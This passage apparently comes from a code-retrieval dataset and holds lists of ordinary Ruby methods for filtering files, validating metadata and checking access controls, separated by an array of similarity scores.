"def get_unknown_files\n\t\t\tlist = read_command_output( 'hg', 'status', '-un', '--color', 'never' )\n\t\t\tlist = list.split( /\\n/ )\n\n\t\t\ttrace \"New files: %p\" % [ list ]\n\t\t\treturn list\n\t\tend",
"def files_with_duplicate_imports\n files.select(&:has_duplicate_import?)\n end",
"def tracked_files\n all_files.reject { |f| ignore_matcher.matched?(f) }\n end",
"def special_files\n @special_files ||= Set.new\n end",
"def metadataCompareSparse(key, tempArray)\n \n # Find all files that don't have the metadatatype\n type = MetadataType.find_by_name(key)\n if type == nil\n return\n end\n \n @results.each do |x|\n tmp = Metadata.find_by_metadata_type_id_and_devfile_id(type.id, x.devfile_file_id)\n if tmp == nil\n tempArray.push(x.devfile_file_id)\n end\n end\n end",
"def files_of_type_diff(of_type, but_not_of_type)\n result = []\n talia_files.each do |talia_file|\n found_good = false; found_bad = false\n for data_record in talia_file.data_records\n found_good = true if data_record.is_a? of_type\n found_bad = true if data_record.is_a? but_not_of_type\n end\n result << data_record if found_good and !found_bad\n end\n result\n end",
"def check_files_array_format\n error_msg = 'has invalid entries. Each entry must be a hash with the keys of name (String), size (Integer), and '\\\n 'generation (String). The following entries are invalid: '\n has_error = false\n self.files.each do |file|\n unless file.keys.map(&:to_s).sort == %w(generation name size)\n error_msg += \"#{file}\"\n end\n end\n if has_error\n errors.add(:files, error_msg)\n end\n end",
"def remove_less_specific_files(files)\n # REVISIT: is this Windows safe? AltSeparator?\n mypath = self[:path].split(::File::Separator)\n other_paths = catalog.vertices.\n select { |r| r.is_a?(self.class) and r[:path] != self[:path] }.\n collect { |r| r[:path].split(::File::Separator) }.\n select { |p| p[0,mypath.length] == mypath }\n\n return files if other_paths.empty?\n\n files.reject { |file|\n path = file[:path].split(::File::Separator)\n other_paths.any? { |p| path[0,p.length] == p }\n }\n end",
"def dependent_files\n processed.map(&:abs_path).compact.select { |fn| File.exist?(fn) }\n end",
"def fixity_check\n results = file_set.files.collect { |f| fixity_check_file(f) }\n\n return if async_jobs\n\n results.flatten.group_by(&:file_id)\n end",
"def thumbnails\n manifestation_attachments.reject{|a| a.attachment_type_id != 4}\n end",
"def worst_files\n @worst_files ||= CATEGORIES.inject({}) do |memo, category|\n memo[category] = customized_files_now_missing\n .select { |f| f.include?(category) }\n .count\n\n memo\n end\n end",
"def metadata_file\n study_files.any_of(\n { file_type: 'Metadata' },\n { file_type: 'AnnData', 'ann_data_file_info.has_metadata' => true }\n ).first\n end",
"def works_with_missing_metadata\n GenericWork.all.select do |gw|\n gw.description == [] && gw.creator == []\n end\n end",
"def affected_files\n Dir[@result_dir + '/*.{ttf,eot,woff,svg}'].reject { |f| f[@file] }\n end",
"def file_field_sets\n @file_field_sets ||= begin\n # Select only file and instantiation fields.\n file_and_instantiation_fields = fields.select { |field| file_header?(field.header) || instantiation_header?(field.header) }\n\n # Slice the selected fields into field sets for each file.\n file_and_instantiation_fields.slice_when do |prev_field, field|\n initial_file_header?(field.header) && !initial_file_header?(prev_field.header)\n end\n end\n end",
"def create_page_filename_list\n\n missing, expected = [], []\n\n unless @has_mets\n\n # Without METS, there's no way to find out which files should be present, so we won't be able to figure out if something is missing.\n # We also lack knowing what order they should be in. Ah well...\n\n @datafiles.sort!\n @datafiles = @datafiles.sort_by { |x| x[/\\d+/].to_i } # sort by number\n expected += @datafiles.select { |name| name =~ /\\.tiff$|\\.tif$|\\.jp2$|\\.jp2k$|\\.jpg$|\\.jpeg$/i }\n\n else\n\n # This checks the filenames in the list @datafiles (what's in the\n # package directory, less the metadata files) against the\n # filenames declared in the METS file table of contents (a\n # structmap). While datafiles is a simple list of filenames, the\n # table of contents provies a Struct::Page with slots :title,\n # :level, :image_filename, :image_mimetype, and :valid_repeat.\n # A :valid_repeat file is ignored.\n\n @table_of_contents.pages.each do |entry|\n next if entry.valid_repeat\n expected.push entry.image_filename\n missing.push entry.image_filename if @datafiles.grep(entry.image_filename).empty?\n end\n end\n\n unexpected = @datafiles - expected\n unexpected.delete_if { |x| x =~ /^Thumbs.db$/i } # common cruft\n\n unless unexpected.empty?\n warning \"The #{pretty_class_name} #{@directory_name} has the following #{unexpected.count} unexpected #{ unexpected.length == 1 ? 'file' : 'files'} that will not be processed:\"\n warning unexpected.map { |name| \" - #{name}\" }.sort\n end\n\n ## TODO: bug here reporting an error, 'name' somehow gets nil, see FSU's package FSU_Flambeau_04301979 started 2017-08-09 14:41:39\n\n unless missing.empty?\n error \"The #{pretty_class_name} #{@directory_name} is missing the following #{missing.count} required #{ missing.length == 1 ? 'file' : 'files'} declared in the mets.xml file:\"\n error missing.map { |name| \" - #{name}\" }.sort\n return false\n end\n\n @page_filenames = expected - missing\n end",
"def no_junk?(files)\n uns = files - supported(files)\n uns.reject! { |f| f.basename.to_s == 'front.jpg' }\n\n return true if uns.empty? || uns.all?(&:directory?)\n\n raise Aur::Exception::LintDirBadFile, uns.sort.join(\"\\n \")\n end",
"def filtered(files); end",
"def representative_file\n file_key = metadata.keys.find { |k| k.to_s =~ /(representative_)?files?/i }\n return [] if file_key.nil?\n\n metadata.fetch(file_key, [])\n end",
"def file_set?(resource)\n resource.respond_to?(:file_metadata) && !resource.respond_to?(:member_ids)\n end",
"def validate_file_list_contents\n keys = self.original_file_list.map(&:keys).flatten.uniq.sort\n unless (keys & FILE_LIST_KEYS) == keys\n errors.add(:original_file_list, \" is formatted incorrectly. This must be an array of Hashes with the keys #{FILE_LIST_KEYS.join(', ')}.\" )\n end\n self.original_file_list.each do |file|\n unless StudyFile::STUDY_FILE_TYPES.include?(file['file_type'])\n errors.add(:original_file_list, \" contains a file of an invalid type: #{file['file_type']}\")\n end\n end\n unless match_bundle_type.any?\n errors.add(:original_file_list, \" does not contain a file of the specified bundle type: #{self.bundle_type}\")\n end\n if match_bundle_type.size > 1\n errors.add(:original_file_types, \" contains files of incompatible types: #{match_bundle_type.join(', ')}\")\n end\n end",
"def extensions_missing(exts)\n Set.new(exts.flatten).difference extensions.to_set\n end",
"def extracted_files\n return @extracted_files if @extracted_files\n # TODO: Add other types of extracted files\n @extracted_files = tif\n end",
"def find_valid_files(tarfile)\n Archive::Tar::Minitar.open(tarfile).collect do |entry|\n flag = entry.typeflag\n if flag.nil? || flag =~ /[[:digit:]]/ && (0..7).cover?(flag.to_i)\n entry.full_name\n else\n Puppet.debug \"Invalid tar flag '#{flag}' will not be extracted: #{entry.name}\"\n next\n end\n end\n end",
"def file_sets\n @file_sets ||= begin\n geo_concern.geo_file_set_presenters\n end\n end",
"def missed_lines\n missed_lines = 0\n @files.select { |f|\n @file_whitelist.include? f.filename\n }.each do |file|\n original_result[file.filename].each do |line_result|\n missed_lines += 1 if line_result == 0\n end\n end\n missed_lines\n end",
"def test_directory_has_no_files\n assert_equal([], @td.files)\n end",
"def files\n self.assets.reject{ |asset| asset.image? }\n end",
"def get_unqual_records\n records = storage_engine.get_all\n qual_records = []\n records.each do |record|\n qual_records << record unless record.qualified?\n end\n qual_records\n end",
"def has_unused_files?\n unused_files = submitted_data_files - @checked_files_in_metadata\n # log error if unused files exist\n if unused_files.any?\n metadata_file_path = FileLocations.metadata_file_path(@source_dir)\n @errors << \"There are files in the submission not listed in #{metadata_file_path} and so not used.\"\n @errors += unused_files.map { |e| \" - #{e}\" }\n end\n unused_files.any?\n end",
"def file_sets_for(work)\n Hyrax.custom_queries.find_child_file_sets(resource: work)\n end",
"def related_files\n []\n end",
"def filter_invalid_files\n real_files=[]\n @files.each do |file|\n if @edit_in_place\n if File.writable?(file)\n real_files << file \n else\n puts \"ERROR: File #{file} is not writable, ignoring.\"\n end\n else\n if File.readable?(file)\n real_files << file \n else\n puts \"ERROR: File #{file} is not readable, ignoring.\"\n end\n end\n end\n @files=real_files\n end",
"def files\n files = []\n Dir.new(self.path).each do |file|\n files << file if file.length > 4\n end\n files\n end",
"def unverifiable_packages\n published_packages.keys.select {|p| !expected_cksums.any? {|m| m[\"relpath\"] == p } }\n end",
"def all_related_data_files\n via_assay = related_assays.collect do |assay|\n assay.data_file_masters\n end.flatten.uniq.compact\n via_assay | related_data_files\n end",
"def overwrite_older_packages(uploaded_file)\n return [] unless uploaded_file.overwrite || uploaded_file.read_only\n originals = uploaded_file.original_inputs\n return [] unless originals.present?\n sha2_hashes = []\n originals.where('input_sub_category != ? OR input_sub_category is null',\n OriginalInput::XML_SANITIZED).reject { |orig|\n orig.nil? || orig.sha2_hash.nil? }.each { |orig|\n sha2_hashes << orig.sha2_hash\n }\n\n return [] if sha2_hashes.empty?\n\n lst = UploadedFile.joins(:original_inputs)\n .where(validate_only: false)\n .where(original_input: {sha2_hash: sha2_hashes, mime_type: 'text/stix'}).all\n\n overwritten_pkg_guids = []\n\n lst.each do |u|\n u.update_attribute(:status, 'R') if u.status!='I'\n p = StixPackage.where(uploaded_file_id: u.guid).first\n unless p.nil?\n overwritten_pkg_guids << p.guid if p.guid.present?\n p.indicators.destroy_all\n p.destroy\n end\n end\n overwritten_pkg_guids.uniq\n end",
"def find_files(file_set:)\n if file_set.respond_to?(:file_ids)\n return [] if file_set.file_ids.blank?\n query_service.custom_queries.find_many_file_metadata_by_ids(ids: file_set.file_ids)\n else\n raise ::Valkyrie::Persistence::ObjectNotFoundError,\n \"#{file_set.internal_resource} is not a `Hydra::FileSet` implementer\"\n end\n end",
"def filter(fs)\n @filesets.each do |k, v|\n # puts \"Filtering #{k} #{v}\"\n fs.subtract!(v.files)\n end\n end",
"def missing_data\n only_missing.to_a\n end",
"def files_set\n if settings.fs_created + 12 < Time.now\n settings.fs = FuzzySet.new(repo.files)\n settings.fs_created = Time.now\n end\n settings.fs\n end",
"def test_each_file_returns_data\n files = NutrientDataSet::META_DATA.keys\n files.each do |name|\n parser = data[\"nutr_def\"]\n row = parser.take(1)\n \n assert !row.empty?, \"Expected data for #{name} to exist.\"\n end\n end",
"def altered_files; raw_changeset.files; end",
"def find_files(file_set:)\n if file_set.respond_to?(:file_ids)\n return [] unless file_set.file_ids.present?\n query_service.custom_queries.find_many_file_metadata_by_ids(ids: file_set.file_ids)\n else\n raise ::Valkyrie::Persistence::ObjectNotFoundError,\n \"#{file_set.internal_resource} is not a `Hydra::FileSet` implementer\"\n end\n end",
"def compute_knowns\n Set.new(@files.map { |f| Albacore::Project.new f }.map { |p| p.id })\n end",
"def files_changed_as_set(files)\n changed_files = files.select { |file| git.modified_files.include? file }\n not_changed_files = files.select { |file| !changed_files.include? file }\n all_files_changed = not_changed_files.empty?\n no_files_changed = changed_files.empty?\n return all_files_changed || no_files_changed\nend",
"def removed_infections\n return [] unless prev_scan\n current_infections = scan.infections.collect{|infection| infection.file}\n prev_scan.infections.select{|infection| !current_infections.include?(infection.file)}\nend",
"def all\n file.to_a.map { |row| empty?(row.to_hash) }.compact\n end",
"def errored_files\n @attributes[:errored_files]\n end",
"def new_files\n metadata_files if @existing_files.nil?\n @new_files\n end",
"def uncommitted_files\n files = nil\n p4 (['change','-o']).each do |line|\n files << line.strip if files\n files = [] if line.start_with?('Files:')\n end\n files ||= []\n end",
"def ignored_files\n all_files.select { |f| ignore_matcher.matched?(f) }\n end",
"def file_set_mime_type\n file_set.mime_type.first\n end",
"def file_checks\n errors = []\n errors << 'There are no entries in the manifest file.' if @current_package.manifest.count == 0\n errors\n end",
"def files_filtering files\n return files unless @file_regexp\n f = files.select do |file|\n test_name_by_date file\n end\n f\n end",
"def contains_data?\n @resource.data_files.present_files.where(\"UPPER(upload_file_name) NOT LIKE 'README%'\").count.positive?\n end",
"def filter_samples(files)\n files.reject { |f| sample?(f) }\n end",
"def document_media_is_unique\n return if self.documents.count == 0\n\n valid = true\n\n corpus_media = Array.new\n\n self.documents.each { |d| corpus_media.push(:id => d.id, :media => d.media_descriptors) }\n\n last_media_urls = Array.new\n last = self.documents.last\n last.media_descriptors.each { |m| last_media_urls.push(m[:media_url]) }\n\n corpus_media.each do |m|\n if m[:id] != last.id then\n item_media_urls = Array.new\n m[:media].each { |m| item_media_urls.push(m[:media_url]) }\n\n if (last_media_urls == item_media_urls)\n valid = false\n break\n end\n end\n end\n\n errors.add :file, \"contains a media set already in this corpus.\" if valid == false\n end",
"def applicable_files; end",
"def excluded_files() = []",
"def load_workset( filename )\n\n md_filename = ''\n asset_files = []\n File.open( filename, 'r').each do |line|\n if /^metadata : /.match( line )\n md_filename = /^metadata : (.*)$/.match( line ).captures[ 0 ]\n end\n\n if /^asset : /.match( line )\n asset_files << /^asset : (.*)$/.match( line ).captures[ 0 ]\n end\n end\n\n return md_filename, asset_files\n end",
"def get_non_flac_paths(source_path)\n non_flac_file_paths = Find.find(source_path).reject {|f| f.end_with?(\".flac\")}\n non_flac_file_paths.reject! {|e| !File.file?(e) }\n return non_flac_file_paths\nend",
"def no_supplemental_files\n model.persisted? && supplemental_files.blank?\n end",
"def find_thumbnail_id(file_sets)\n return if parent.thumbnail_id.present?\n file_sets.each do |file_set|\n extension = File.extname(file_set.primary_file.original_filename.first)\n return file_set.id unless no_thumbnail_extensions.include?(extension)\n end\n\n nil\n end",
"def existing\n select { |fn| File.exist?(fn) }.uniq\n end",
"def bundled_files\n self.study_files.where(:id.ne => self.parent&.id)\n end",
"def build_file_sets\n return if file_nodes.empty? || processing_derivatives?\n file_nodes.each_with_index.map do |node, index|\n file_set = create_file_set(node, files[index])\n file_set\n end\n end",
"def intermediate_target_files(resource)\n supported = resource.intermediate_files.select do |intermed|\n valid_mime_types.include?(intermed.mime_type.first)\n end\n supported.empty? ? nil : supported.first\n end",
"def intermediate_target_files(resource)\n supported = resource.intermediate_files.select do |intermed|\n valid_mime_types.include?(intermed.mime_type.first)\n end\n supported.empty? ? nil : supported.first\n end",
"def diffable_entries\n self.entries.select { |entry| entry.rule_number < 32767 }\n end",
"def testfiles(is_refresh = false)\n return @test_files if @test_files and not is_refresh\n return @test_files =[ name ] if name =~ /\\.xlw$/ # TO-DO implement better listing of xlw files\n @test_files, error_array = List.testfiles(self.name)\n error_array.each {|e| errors.add('Name:',e)}\n return @test_files\n end",
"def build_file_sets\n return [] if file_nodes.empty?\n file_nodes.each_with_index.map do |node, index|\n file_set = create_file_set(node, files[index])\n file_set\n end\n end",
"def check_for_fixes(files, marker=nil)\n marker ||= EDIT_MARKER\n list = []\n files.each do |file|\n next if File.directory?(file)\n File.open(file) do |f|\n f.grep(marker){ |l| list << file }\n end\n end\n list.uniq\n end",
"def compact!\n self.files.reject! do |key, value|\n value.empty?\n end\n end",
"def files\n files = Dir.glob(\"#{@path}/*.mp3\")\n normalized = files.map do |file|\n file.split(\"./spec/fixtures/mp3s/\") \n end\n why = normalized.map do |file|\n file.reject {|c| c.empty?}\n end.flatten\n end",
"def related_data_files\n via_assay = assays.collect(&:data_files).flatten.uniq.compact\n via_assay | data_files\n end",
"def filter_invalid_changesets\n self.changeset_class.exists?(self.changeset_id)\n end",
"def dependencies\n to_a.reject { |a| a.filename.eql?(self.filename) }\n end",
"def find_metadata(*args)\n results = []\n @filesets.each do |volid, fileset|\n results += fileset.find_metadata(*args)\n end\n return results\n end",
"def verify_existing_release_metadata\n return false if existing_files.empty?\n msg \"Verifying cached release metadata\"\n @invalid_metadata_files = existing_files.select {|f| !f.quick_verify}\n msg \"invalid_metadata_files: #{@invalid_metadata_files.size}\"\n end",
"def reject_blank_assets\n #self.company_assets.each {|a| self.company_assets.delete(a) if a.file.url.to_s =~ /missing.png/ || a.file.blank?}\n end",
"def metadata_file_set_field?(key)\n field = metadata_field(key)\n return field[:object] != :monograph if field.present?\n false\n end",
"def metadata_ingest_files\n return if params[:metadata_ingest_files].blank?\n params[:metadata_ingest_files].map do |metadata|\n metadata = JSON.parse(metadata, symbolize_names: true)\n file = Valkyrie::StorageAdapter.find_by(id: metadata[:id])\n PendingUpload.new(\n id: SecureRandom.uuid,\n storage_adapter_id: file.id,\n created_at: Time.current,\n file_name: metadata[:filename],\n type: metadata[:type]\n )\n rescue\n nil\n end.compact\n end"
] |
[
"0.5951391",
"0.58240366",
"0.5803019",
"0.5778906",
"0.5763632",
"0.5749727",
"0.56249124",
"0.561522",
"0.5559767",
"0.55465734",
"0.551472",
"0.546619",
"0.5438188",
"0.5438188",
"0.54299843",
"0.53837687",
"0.5373799",
"0.5342839",
"0.5305659",
"0.52989376",
"0.52727896",
"0.5241133",
"0.5220969",
"0.52154756",
"0.521484",
"0.5211746",
"0.5199199",
"0.5188935",
"0.5181918",
"0.51639193",
"0.51527023",
"0.5148664",
"0.5141511",
"0.512717",
"0.5123388",
"0.51227957",
"0.5121536",
"0.5111524",
"0.5109809",
"0.50919855",
"0.5077768",
"0.50771004",
"0.5073711",
"0.5070425",
"0.50625366",
"0.5058827",
"0.50386786",
"0.50355583",
"0.50306547",
"0.5030074",
"0.50193566",
"0.5009078",
"0.5004448",
"0.4994641",
"0.49941006",
"0.49884447",
"0.4984635",
"0.49822286",
"0.49811584",
"0.49790752",
"0.49754184",
"0.49621117",
"0.49589664",
"0.4957199",
"0.4950371",
"0.49437645",
"0.49381787",
"0.49353698",
"0.49316812",
"0.4931314",
"0.49253657",
"0.49111032",
"0.49067047",
"0.4905972",
"0.48986942",
"0.48956403",
"0.48907566",
"0.4890553",
"0.4889109",
"0.48776028",
"0.4856105",
"0.48497447",
"0.48460886",
"0.48435405",
"0.4831431",
"0.4831431",
"0.48282278",
"0.48188445",
"0.48152623",
"0.48085704",
"0.48051676",
"0.48049986",
"0.48013982",
"0.48013067",
"0.47965303",
"0.47904208",
"0.47892383",
"0.47873595",
"0.47832748",
"0.47823566"
] |
0.834574
|
0
|
Get list of GenericWorks that are still using the v6.Franensufia style of access controls. These will appear empty from the v7 based code.
|
def works_with_empty_permissions
GenericWork.all.select{|gw| gw.permissions.empty?}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def all_works\n [ScannedResource, ScannedMap, RasterResource, VectorResource, Numismatics::Issue, Playlist]\n end",
"def index\n @admin_tech_supports = Admin::TechSupport.all\n end",
"def works_with_missing_metadata\n GenericWork.all.select do |gw|\n gw.description == [] && gw.creator == []\n end\n end",
"def list_worksets (username, token, include_public)\n Rails.logger.debug \"list_public_worksets #{username}\"\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets?public=#{include_public}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(url.request_uri)\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n request.add_field(\"Accept\", \"application/vnd.htrc-workset+xml\")\n response = http.request(request)\n Rails.logger.debug \"Response Code: #{response.code}\"\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n response_xml = response.body\n #Rails.logger.debug response_xml\n\n worksets = Array.new\n\n doc = REXML::Document.new(response_xml)\n\n doc.elements.each('worksets/workset/metadata') { |metadata|\n hash = Hash.new\n hash['name'] = metadata.elements['name'].text\n hash['description'] = metadata.elements['description'].text\n hash['author'] = metadata.elements['author'].text\n\n if (hash['author'] == username)\n worksets.unshift(hash)\n else\n worksets.push(hash)\n end\n }\n\n id = 1\n worksets.each { |w|\n w['id'] = id;\n id = id+1\n\n }\n\n return worksets\n end",
"def selectable_access_types\n [['Unrestricted Access', 'open'], ['Controlled Access', 'restricted'], ['Other', 'closed']]\n end",
"def flyable_aircraft_types\n licensed_aircraft_type_ids = self.licenses.find(:all, :select => 'DISTINCT aircraft_type_id').collect { |r| r.aircraft_type_id }\n return AircraftType.find(:all, :conditions => ['id IN (?)', licensed_aircraft_type_ids]) || []\n end",
"def available_projects_list\n uri = \"#{@api_url}?access_token=#{@access_token}\"\n get uri\n end",
"def libra_only\n @works = Work.libra_only\n render :index\n end",
"def index\n @trials = Trial.accessible_by(current_ability).includes(:organization)\n end",
"def display_supporting_document_list\n return if application_type == 'LO-WD'\n\n @display_supporting_document_list = []\n documents_ref_hash = ReferenceData::ReferenceValue.lookup(\"DOCUMENTS-#{application_type}\", 'SLFT', 'RSTU')\n @supporting_document_list.each_with_index do |checked_code, index|\n # @supporting_document_list always contains 0th element '' so ignore 0th element\n next if checked_code == ''\n\n documents_ref_hash[checked_code].code = index\n documents_ref_hash[checked_code].value = @supporting_document_other_description if checked_code == 'OTHER'\n\n @display_supporting_document_list << documents_ref_hash[checked_code]\n end\n @display_supporting_document_list\n end",
"def owt_list\n @client.make_request :get, templates_path('owt')\n end",
"def accessible_admin_sets_with_active_workflow\n accessible_admin_sets.select { |admin_set_id| Hyrax::PermissionTemplate.find_by(source_id: admin_set_id)&.active_workflow.present? }\n end",
"def discovery_permissions\n return ['edit'] if blacklight_params[:works] == 'mine'\n super\n end",
"def workforce_integrations\n return @workforce_integrations\n end",
"def index\n # @project_controls = ProjectControl.all\n end",
"def works\n\t\t@works = NonfictionDecorator.decorate(Work.nonfiction.with_filters(index_params, current_user))\n\tend",
"def access_controls_for(object)\n all_acls.select{ |ac| ac.access_to_id == object.id }\n end",
"def available_known_objects\n known_objects=self.known_objects\n if not self.project.nil?\n return known_objects\n else\n upper_level_known_objects=self.concept.concept_category.function.function_structure_diagram.available_known_objects\n return (upper_level_known_objects + known_objects).uniq\n end\n end",
"def fetch_syncables\n gh_client.repos.list.select{|repo| repo.permissions.admin}.map(&:full_name)\n end",
"def index\n @workpermits = Workpermit.all\n end",
"def interfaces_list\n\t\t[\n\t\t\t{\n\t\t\t\t'uri' => '/',\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'purpose' => 'REST API Structure and Capability Discovery'\n\t\t\t}\n\t\t]\n\tend",
"def cft_list\n @client.make_request :get, templates_path('cft')\n end",
"def index\n @check_ins = @muster ? @muster.check_ins : @user.check_ins\n @check_ins = @check_ins.select{|c|c.user_id == @user.id || current_user.is_admin_of?(c.project)}\n end",
"def index\n if session[:bitotsav] == \"Admins\"\n @bitotsav_volunteers = Bitotsav::Volunteer.all\n else\n @bitotsav_volunteers = Bitotsav::Volunteer.where(:team => session[:bitotsav]).all\n end\n end",
"def facilities\n [self]\n end",
"def facilities\n [self]\n end",
"def access_types\n @access_types ||= [ALL_ACCESS].tap do |types|\n types << PUBLIC_ACCESS if public?\n types << PROTECTED_ACCESS if protected?\n types << PRIVATE_ACCESS if private?\n types << DIGITIZED_ACCESS if digitized? && !private?\n end\n end",
"def index\n @wishlist_projects = WishlistProject.all\n authorize! :read, @wishlist_projects\n end",
"def getControls\n controls = {}\n response = self.class.get(\"/rest/items\",:basic_auth => @auth)\n JSON.parse(response.body).each do |r|\n if r[\"category\"] == \"Controls\" || r[\"category\"] == \"Lamps\"\n controls[r[\"id\"]] = r[\"name\"]\n end\n end\n return controls\n end",
"def get_all_support_issues\n response = Octokit.list_issues(\"department-of-veterans-affairs/appeals-support\", direction: \"asc\", state: \"all\")\n response.keep_if { |v| v[:created_at] >= 7.days.ago }\n end",
"def get_all_support_issues\n response = Octokit.list_issues(\"department-of-veterans-affairs/appeals-support\", direction: \"asc\", state: \"all\")\n response.keep_if { |v| v[:created_at] >= 7.days.ago }\n end",
"def index\n @studies = Study.where(:project_id => params[:project_id])\n @project = Project.find(params[:project_id])\n @project_ready_for_studies = Project.is_ready_for_studies(@project.id)\n @project_extraction_forms = @project.extraction_forms\n @extraction_forms = @project_extraction_forms\n # get current user extraction_forms to show number available\n if current_user.nil?\n @user_extraction_forms = nil\n else\n @extraction_form_list_array = Study.get_extraction_form_list_array(params[:project_id])\t\n @user_extraction_forms = @extraction_form_list_array\n end\n end",
"def show\n # The purpose of this block is to build two lists of trials, one being the\n # trials that a clinician manages, the other being trials that they are\n # just participating in. It removes duplicates from the watching list, if\n # they are in the managed list.\n managed = current_user.clinical_trials\n excludes = managed.pluck(:id)\n\n tcids = current_user.trial_clinicians.pluck(:clinical_trial_id)\n\n if tcids.empty?\n watching = []\n else\n watching = ClinicalTrial.where('id in (?)', tcids)\n if !excludes.empty?\n watching = watching.where('id not in (?)', excludes)\n end\n end\n\n @managed_list = managed\n @watching_list = watching\n end",
"def index\n @controltltkts = Controltltkt.all\n end",
"def index\n @technics = Technic.all\n end",
"def index\n @other_facilities = OtherFacility.all\n end",
"def index\n @needed_control = NeededControl.all\n end",
"def public_templates\n Template.includes(org: :identifiers)\n .joins(:org)\n .published\n .publicly_visible\n .where(customization_of: nil)\n .order(:title)\n end",
"def wait_list(course)\n \twl = course.registrations.where(:wl => true)\n \treturn wl\n end",
"def gated_discovery_filters(permission_types = discovery_permissions, ability = current_ability)\n return [] if ability.admin?\n super\n end",
"def trophy_files\n trophies.map do |t|\n begin\n ::GenericFile.load_instance_from_solr(t.generic_file_id)\n rescue ActiveFedora::ObjectNotFoundError\n logger.error(\"Invalid trophy for user #{user_key} (generic file id: #{t.generic_file_id})\")\n nil\n end\n end.compact\n end",
"def controls\n\t\treturn [] unless is_case?\n\t\tStudySubject.controls.with_patid(patid).not_id(id)\n\tend",
"def index\n if current_user.teacher?\n @tutorings = current_user.tutorings\n else\n if current_user.homeworks.any? \n @tutorings = Tutoring.where(homework_id: current_user.homeworks.pluck(:id))\n else\n @tutorings = []\n end \n end\n end",
"def index\n @tx_land_grants_special_collections = TxLandGrantsSpecialCollection.all\n end",
"def built_in_controls\n return @built_in_controls\n end",
"def gated_discovery_filters(permission_types = discovery_permissions, ability = current_ability)\n return [] if ability.current_user.administrator?\n super\n end",
"def grant_controls\n return @grant_controls\n end",
"def temporary_access_pass_methods\n return @temporary_access_pass_methods\n end",
"def list(_filter = Set.new)\n raise Errors::Backend::NotImplementedError, 'Requested functionality is not implemented'\n end",
"def index\n wl = current_user.watchlists.select(:name).distinct\n @watchlists = wl.map {|wlname| Watchlist.find_by(name: wlname.name) }\n end",
"def list_unknownservers\n @admin.listUnknownServers.to_a\n end",
"def public_nav_includeables\n [\n public_nav_can_include_albums,\n public_nav_can_include_audio,\n public_nav_can_include_events,\n public_nav_can_include_info,\n public_nav_can_include_pictures,\n public_nav_can_include_stream,\n public_nav_can_include_videos\n ]\n end",
"def index\n\t\t@teams = Team.order(:name).select { |team| can? :read, team }\n\tend",
"def index\n @fabricsofasets = Fabricsofaset.all\n end",
"def lgfs\n all.select { |ct| ct.roles.include?('lgfs') }\n end",
"def index\n @projectsEnabled = Project.order(order: :DESC).where(displayed: true)\n @projectsDisabled = Project.where(displayed: false)\n end",
"def list_api\n return self.sendcmd(\"fldigi.list\")\n end",
"def index\n @funcion_controls = FuncionControl.all\n end",
"def index\n authorize! :index, HoursRegistration\n @hours_registrations = HoursRegistration.accessible_by(current_ability)#HoursRegistration.all\n end",
"def index_week\n @trainings = Training.all\n @sessions = Session.all\n authorize @trainings\n end",
"def default_workflows\n xml=self.administrativeMetadata.ng_xml\n nodes=self.administrativeMetadata.term_values(:registration, :workflow_id)\n if nodes.length > 0\n wfs=[]\n nodes.each do |node|\n wfs << node\n end\n wfs\n else\n []\n end \n end",
"def get_your_bottles\n bottles = get_bottles\n your_bottles = bottles.map do |bottle|\n # if user_id == viewer_id, the entry is private and should not be displayed alongside bottles\n if bottle.is_read && bottle.user_id != bottle.viewer_id\n bottle\n end\n end\n return your_bottles.compact\n end",
"def index\n @research_questions = ResearchQuestion.all.select { |r| can? :read, r }\n end",
"def index\n @compliance_tools = ComplianceTool.all\n end",
"def sis_only\n @works = Work.sis_only\n render :index\n end",
"def filter_instances\n suites.product(platforms).select do |suite, platform|\n if !suite.includes.empty?\n suite.includes.include?(platform.name)\n elsif !suite.excludes.empty?\n !suite.excludes.include?(platform.name)\n else\n true\n end\n end\n end",
"def index\n @exercise = Exercise.find(params[:exercise_id])\n load_course\n\n if @course.has_teacher(current_user)\n @available_groups = Group.where('course_instance_id=?', @course_instance.id).joins(:users).order(:name).all.select { |group| group.users.size <= @exercise.groupsizemax }\n else\n @available_groups = Group.where('course_instance_id=? AND user_id=?', @course_instance.id, current_user.id).joins(:users).order(:name).all.select { |group| group.users.size <= @exercise.groupsizemax }\n end\n end",
"def index\n if (current_user)\n @works = current_user.works\n end\n \n end",
"def index\n @project_utilities = ProjectUtility.all\n end",
"def sole_authored_works\n @sole_authored_works = []\n works.find(:all, :conditions => 'posted = 1').each do |w|\n if self.is_sole_author_of?(w)\n @sole_authored_works << w\n end\n end\n return @sole_authored_works \n end",
"def creatable_works\n all_works.select do |work|\n can?(:create, work)\n end\n end",
"def index\n @tutor_groups = TutorGroup.where(academic_session_id: session[:global_academic_session])\n if !@tutor_groups.blank?\n authorize @tutor_groups\n end\n \n end",
"def read_authorized_class_list(workspace_id)\n authorized_class_list(workspace_id).tap do |class_list|\n class_list.readonly! unless class_list.nil?\n end\n end",
"def index\n @worktypes = current_ou.worktypes.all.order(uid: :asc)\n end",
"def visible_custom_fields(user=nil)\n user_real = user || User.current\n available_custom_fields.select do |custom_field|\n custom_field.visible_by?(project, user_real)\n end\n end",
"def visible_custom_fields(user=nil)\n user_real = user || User.current\n available_custom_fields.select do |custom_field|\n custom_field.visible_by?(project, user_real)\n end\n end",
"def get_all_synthetics_tests\n request(Net::HTTP::Get, \"/api/#{API_VERSION}/synthetics/tests\", nil, nil, false)\n end",
"def index\n @supported_projects_joins = SupportedProjectsJoin.all\n end",
"def white_listed\n @white_listed ||= []\n end",
"def all_works\n result = []\n for exp in (happening_expressions+presented_expressions).flatten.uniq\n # result << exp.work\n logger.debug \"CLASS:#{exp.work.class}\"\n result = result + [exp.work]\n end\n \n \n result.flatten.uniq.sort_by{|w|[w.work_title.downcase]}\n\n end",
